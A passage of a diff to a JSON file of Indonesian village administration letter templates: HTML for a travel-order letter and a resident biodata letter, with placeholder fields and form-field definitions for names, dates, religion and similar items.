        Lembar Ke<\/td>\r\n:\u00a0<\/td>\r\n<\/tr>\r\n
        Kode Ke<\/td>\r\n:\u00a0<\/td>\r\n<\/tr>\r\n
        Nomor<\/td>\r\n: [Format_nomor_suraT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        \u00a0<\/p>\r\n

        \u00a0<\/h4>\r\n

        \u00a0<\/h4>\r\n

        \u00a0<\/h4>\r\n

        \u00a0<\/h4>\r\n

        \u00a0<\/h4>\r\n

        [JUdul_surat]<\/span><\/h4>\r\n
        \u00a0<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.<\/td>\r\nPengguna Anggaran<\/td>\r\n:<\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
        2.<\/td>\r\nNama pegawai yang diperintah<\/td>\r\n:<\/td>\r\n[NamA]<\/strong><\/td>\r\n<\/tr>\r\n
        3.<\/td>\r\na. Pangkat dan Golongan<\/td>\r\na<\/td>\r\n[Form_pangkat_dan_golongaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nb. Jabatan\/Instansi<\/td>\r\nb<\/td>\r\n[Form_jabataninstansI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nc. Tingkat Biaya Perjalanan<\/td>\r\nc<\/td>\r\n[Form_tingkat_biaya_perjalanaN]<\/td>\r\n<\/tr>\r\n
        4.<\/td>\r\nMaksud Perjalanan Dinas<\/td>\r\n:<\/td>\r\n[Form_maksud_perjalanan_dinaS]<\/strong><\/td>\r\n<\/tr>\r\n
        5.<\/td>\r\na. Tempat Berangkat<\/td>\r\na.<\/td>\r\nKantor [Sebutan_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nb. Tempat Tujuan<\/td>\r\nb.<\/td>\r\n[Form_tempat_tujuaN]<\/td>\r\n<\/tr>\r\n
        6.<\/td>\r\na. Tanggal Berangkat<\/td>\r\na.<\/td>\r\n[Form_tanggal_berangkaT]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nb. Tanggal Kembali<\/td>\r\nb.<\/td>\r\n[Form_tanggal_kembalI]<\/td>\r\n<\/tr>\r\n
        7.<\/td>\r\nAlat angkut yang dipergunakan<\/td>\r\n:<\/td>\r\n[Form_alat_angkut_yang_digunakaN]<\/td>\r\n<\/tr>\r\n
        8.<\/td>\r\nPengikut Nama<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \r\n<\/colgroup>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.<\/td>\r\n[Form_nama_pengikut_I]<\/td>\r\n4.<\/td>\r\n[Form_nama_pengikut_iV]<\/td>\r\n<\/tr>\r\n
        2.<\/td>\r\n[Form_nama_pengikut_iI]<\/td>\r\n5.<\/td>\r\n[Form_nama_pengikut_V]<\/td>\r\n<\/tr>\r\n
        3.<\/td>\r\n[Form_nama_pengikut_iiI]<\/td>\r\n6.<\/td>\r\n[Form_nama_pengikut_vI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
        9.<\/td>\r\nPembebanan Anggaran<\/td>\r\n:<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\na. Instansi<\/td>\r\n:<\/td>\r\na. Kantor [Sebutan_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nb. Mata Anggaran<\/td>\r\n:<\/td>\r\nb. APBKam\u00a0\u00a0Tahun [TahuN]<\/td>\r\n<\/tr>\r\n
        10.<\/td>\r\nKeterangan lain-lain<\/td>\r\n:<\/td>\r\n[Form_keterangan_laiN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        \u00a0<\/h4>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nDitetapkan di : [NaMa_desa]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPada Tanggal :\u00a0 [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n[Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/strong><\/td>\r\n[Nama_pamonG]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        \u00a0<\/span><\/h4>\r\n\r\n\r\n\r\n
        \r\n\r\n\r\n\r\n
        \r\n\r\n\r\n\r\n\r\n\r\n\r\n
        I. Berangkat dari<\/td>\r\n: Kantor [Sebutan_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
        Ke<\/td>\r\n: [Form_tempat_tujuaN]<\/td>\r\n<\/tr>\r\n
        Pada Tanggal<\/td>\r\n: [Form_tanggal_berangkaT]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n
        \u00a0<\/div>\r\n<\/td>\r\n<\/tr>\r\n
        \r\n\r\n\r\n\r\n\r\n
        [Sebutan_kepala_desA] [Nama_desA]\r\n



        ( [Nama_pamonG]<\/strong>\u00a0)<\/strong><\/p>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        II.<\/td>\r\nTiba di\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nBerangkat dari\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKe<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        III.<\/td>\r\nTiba di\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nBerangkat dari\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKe<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        IV.<\/td>\r\nTiba di\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\nBerangkat dari\u00a0<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKe<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPada Tanggal<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nKepala<\/td>\r\n:<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n( ................................... )<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n
        V. Tiba di : Kantor [Sebutan_desA] [Nama_desA]
        Pada Tanggal : [Form_tanggal_kembalI]<\/td>\r\n
        Telah diperiksa dengan keterangan bahwa perjalan tersebut atas perintahnya dan semata-mata untuk kepentingan jabatan dalam waktu yang sesingkat-singkatnya<\/em><\/td>\r\n<\/tr>\r\n
        [Sebutan_kepala_desA] [Nama_desA]



        ( [Nama_pamonG]<\/strong>\u00a0)<\/strong><\/td>\r\n<\/tr>\r\n
        VI. PERHATIAN <\/u>
        Pengguna Anggaran yang menerbitkan SPD, pegawai yang melakukan perjalanan dinas, para pejabat yang mengesahkan tanggal berangkat\/tiba, \u00a0\u00a0\u00a0serta bendahara pengeluaran bertanggungjawab berdasarkan Peraturan Keuangan Negara. Apabila Negara menderita \u00a0rugi akibat \u00a0kesalahan, kelalaian dan kealpaannya.<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        \u00a0<\/h4>\r\n

        \u00a0<\/h4>\r\n

        \u00a0<\/h4>\r\n

        \u00a0<\/h4>\r\n

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]<\/p>\r\n

        MEMERINTAHKAN<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NaMA]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nJabatan<\/td>\r\n:<\/td>\r\n[Form_jabataninstansI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desA] [Nama_desA] : [Kode_desA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Sebutan_kecamataN] [Nama_kecamataN] : [Kode_kecamataN]<\/td>\r\n<\/tr>\r\n
        2.<\/td>\r\nMaksud Tugas<\/td>\r\n:<\/td>\r\n[Form_maksud_perjalanan_dinaS]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nTujuan<\/td>\r\n:<\/td>\r\n[Form_tempat_tujuaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n[Form_tanggal_berangkaT] s\/d [Form_tanggal_kembalI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nPengikut<\/td>\r\n:<\/td>\r\n\r\n\r\n\r\n\r\n
        \r\n\r\n\r\n\r\n\r\n\r\n
        1.<\/td>\r\n[Form_nama_pengikut_I]<\/td>\r\n<\/tr>\r\n
        2.<\/td>\r\n[Form_nama_pengikut_iI]<\/td>\r\n<\/tr>\r\n
        3.<\/td>\r\n[Form_nama_pengikut_iiI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        4.<\/td>\r\n[Form_nama_pengikut_iV]<\/td>\r\n<\/tr>\r\n
        5.<\/td>\r\n[Form_nama_pengikut_V]<\/td>\r\n<\/tr>\r\n
        6.<\/td>\r\n[Form_nama_pengikut_vI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        \u00a0<\/p>\r\n

        Demikian Surat Tugas ini dikeluarkan untuk dilaksanakan sebagaimana mestinya.<\/p>\r\n

        .<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [Nama_desA], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        [Sebutan_kepala_desA] [Nama_desA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [Nama_pamonG]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n































        <\/p>\r\n

        \u00a0<\/p>\r\n

        HASIL BIMTEK\/PELATIHAN\/KONSULTASI\/MONEV\/PENGIRIMAN DATA, DLL<\/span><\/h4>\r\n

        Sebagai berikut :

        1.
        2.
        3.<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, { + "kategori": "dipw", "tipe": "text", - "kode": "[form_pangkat_dan_golongan]", - "nama": "Pangkat dan Golongan", - "deskripsi": "Pangkat dan Golongan", - "required": "1", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "6", + "label": "Nama Organisasi Penghayat Kepercayaan", "kaitkan_kode": "" }, { + "kategori": "slama", "tipe": "text", - "kode": "[form_jabataninstansi]", - "nama": "Jabatan\/Instansi", - "deskripsi": "Jabatan\/Instansi", - "required": "1", + "kode": "[form_nama_suami_terdahulu]", + "nama": "Nama Suami Terdahulu", + "deskripsi": "Nama Suami Terdahulu ", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "4", + "label": "Nama Suami Terdahulu \/ Bin Terdahulu", "kaitkan_kode": "" }, { + "kategori": "slama", "tipe": "text", - "kode": "[form_tingkat_biaya_perjalanan]", - "nama": "Tingkat Biaya Perjalanan", - "deskripsi": "Tingkat Biaya Perjalanan", - "required": "1", + "kode": "[form_bin]", + "nama": "Bin", + "deskripsi": "Bin", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "4", + "label": "Nama Suami Terdahulu \/ Bin Terdahulu", "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_maksud_perjalanan_dinas]", - "nama": "Maksud Perjalanan Dinas", - "deskripsi": "Maksud Perjalanan Dinas", - "required": "1", + "kategori": "slama", + "tipe": "text", + "kode": "[form_no_ktp]", + "nama": "No Ktp", + "deskripsi": "No KTP", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "4", + "label": "Nama Suami Terdahulu \/ Bin Terdahulu", "kaitkan_kode": "" }, { + "kategori": "slama", "tipe": "text", - "kode": "[form_tempat_tujuan]", - "nama": "Tempat Tujuan", - "deskripsi": "Tempat Tujuan", - "required": "1", + "kode": "[form_tempat_lahir]", + "nama": "Tempat Lahir", + "deskripsi": "Tempat Tanggal Lahir", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "8", + "label": "Tempat Tanggal Lahir", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_alat_angkut_yang_digunakan]", - "nama": "Alat Angkut Yang Digunakan", - "deskripsi": "Alat Angkut Yang Digunakan", - "required": "1", + "kategori": "slama", + "tipe": "date", + "kode": "[form_tanggal_lahir]", + "nama": "Tanggal Lahir", + "deskripsi": "Tempat Tanggal Lahir", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "4", + "label": "Tempat Tanggal Lahir", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_nama_pengikut_i]", - "nama": "Nama Pengikut I", - "deskripsi": "Nama Pengikut I", + "kategori": "slama", + "tipe": "select-otomatis", + "kode": "[form_warga_negara]", + "nama": "Warga Negara", + "deskripsi": "Pilih Warga Negara", "required": "0", "atribut": null, "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Nama Pengikut", + "refrensi": "tweb_penduduk_warganegara", + "kolom": "4", + "label": "Warganegara \/ Agama \/ Pekerjaan", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_nama_pengikut_ii]", - "nama": "Nama Pengikut II", - "deskripsi": "Nama Pengikut II", + "kategori": "slama", + "tipe": "select-otomatis", + "kode": "[form_agama]", + "nama": "Agama", + "deskripsi": "Pilih Agama", "required": "0", "atribut": null, "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Nama Pengikut", + "refrensi": "tweb_penduduk_agama", + "kolom": "4", + "label": "Warganegara \/ Agama \/ Pekerjaan", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_nama_pengikut_iii]", - "nama": "Nama Pengikut III", - "deskripsi": "Nama Pengikut III", + "kategori": "slama", + "tipe": "select-otomatis", + "kode": "[form_pekerjaan]", + "nama": "Pekerjaan", + "deskripsi": "Pilih Pekerjaan", "required": "0", "atribut": null, "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Nama Pengikut", + "refrensi": "tweb_penduduk_pekerjaan", + "kolom": "4", + "label": "Warganegara \/ Agama \/ Pekerjaan", "kaitkan_kode": "" }, { + "kategori": "slama", "tipe": "text", - "kode": "[form_nama_pengikut_iv]", - "nama": "Nama Pengikut IV", - "deskripsi": "Nama Pengikut IV", + "kode": "[form_tempat_tinggal]", + "nama": "Tempat Tinggal", + "deskripsi": "Tempat Tinggal", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Nama Pengikut", + "kolom": "12", + "label": "Tempat Tinggal", "kaitkan_kode": "" }, { - "tipe": "text", - "kode": "[form_nama_pengikut_v]", - "nama": "Nama Pengikut V", - "deskripsi": "Nama Pengikut V", + "kategori": "slama", + "tipe": "date", + "kode": "[form_tanggal_meninggal]", + "nama": "Tanggal Meninggal", + "deskripsi": "Tanggal Meninggal", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Nama Pengikut", + "kolom": "4", + "label": "Meninggal Dunia Pada Tanggal \/ Tempat", "kaitkan_kode": "" }, { + "kategori": "slama", "tipe": "text", - "kode": "[form_nama_pengikut_vi]", - "nama": "Nama Pengikut VI", - "deskripsi": "Nama Pengikut VI", + "kode": "[form_tempat_meninggal]", + "nama": "Tempat Meninggal", + "deskripsi": "Tempat Meninggal", "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "6", - "label": "Nama Pengikut", + "kolom": "8", + "label": "Meninggal Dunia Pada Tanggal \/ Tempat", "kaitkan_kode": "" }, { - "tipe": "textarea", - "kode": "[form_keterangan_lain]", - "nama": "Keterangan Lain", - "deskripsi": "Keterangan Lain", - "required": "1", + "kategori": "Saksi_I", + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "", + "kolom": "6", + "label": "Telepon", "kaitkan_kode": "" }, { - "tipe": "date", - "kode": "[form_tanggal_berangkat]", - "nama": "Tanggal Berangkat", - "deskripsi": "Tanggal Berangkat", - "required": "1", + "kategori": "Saksi_I", + "tipe": "text", + "kode": "[form_nama_organisasi_penghayat_kepercayaan]", + "nama": "Nama Organisasi Penghayat Kepercayaan", + "deskripsi": "Nama Organisasi Penghayat Kepercayaan", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "", + "kolom": "6", + "label": "Nama Organisasi Penghayat Kepercayaan", "kaitkan_kode": "" }, { - "tipe": "date", - "kode": "[form_tanggal_kembali]", - "nama": "Tanggal Kembali", - "deskripsi": "Tanggal Kembali", - "required": "1", + "kategori": "Saksi_II", + "tipe": "number", + "kode": "[form_telepon]", + "nama": "Telepon", + "deskripsi": "Telepon", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "4", - "label": "", + "kolom": "6", + "label": "Telepon", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Biodata Penduduk", - "url_surat": "surat-biodata-penduduk", - "kode_surat": "S-03", - "lampiran": "F-1.01,F-1.02", - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": false, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        I. DATA KELURGA<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Kepala Keluarga<\/td>\r\n:<\/td>\r\n[KePala_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNomor Kartu Keluarga<\/td>\r\n:<\/td>\r\n[No_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nAlamat Keluarga<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        II. DATA INDIVIDU<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nAlamat Sebelumnya<\/td>\r\n:<\/td>\r\n[AlAmat_sebelumnya]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nNomor Paspor<\/td>\r\n:<\/td>\r\n[DoKumen_pasport]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTanggal Berakhir Paspor<\/td>\r\n:<\/td>\r\n[TaNggal_akhir_paspor]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nTempat Lahir<\/td>\r\n:<\/td>\r\n[TeMpatlahir]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nTanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nAkta Kelahiran \/ Surat Kelahiran<\/td>\r\n:<\/td>\r\n[AkTa_lahir]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nGolongan Darah<\/td>\r\n:<\/td>\r\n[GoL_darah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nStatus Perkawinan<\/td>\r\n:<\/td>\r\n[StAtus_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nAkta Perkawinan \/ Buku Nikah<\/td>\r\n:<\/td>\r\n[AkTa_perkawinan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n14.<\/td>\r\nTanggal Akta Perkawinan \/ Buku Nikah<\/td>\r\n:<\/td>\r\n[TaNggalperkawinan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n15.<\/td>\r\nAkta Perceraian<\/td>\r\n:<\/td>\r\n[AkTa_perceraian]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n16.<\/td>\r\nTanggal Perceraian<\/td>\r\n:<\/td>\r\n[TaNggalperceraian]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n17.<\/td>\r\nStatus Hubungan Dalam Keluarga<\/td>\r\n:<\/td>\r\n[HuBungan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n18.<\/td>\r\nKelainan Fisik \/ Mental<\/td>\r\n:<\/td>\r\n[CaCat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n19.<\/td>\r\nPendidikan Akhir<\/td>\r\n:<\/td>\r\n[PeNdidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n20.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        III. DATA ORANG TUA
        <\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[Nama_ibu]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK Ibu<\/td>\r\n:<\/td>\r\n[nik_ibu]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[Nama_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nNIK Ayah<\/td>\r\n:<\/td>\r\n[nik_ayah]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
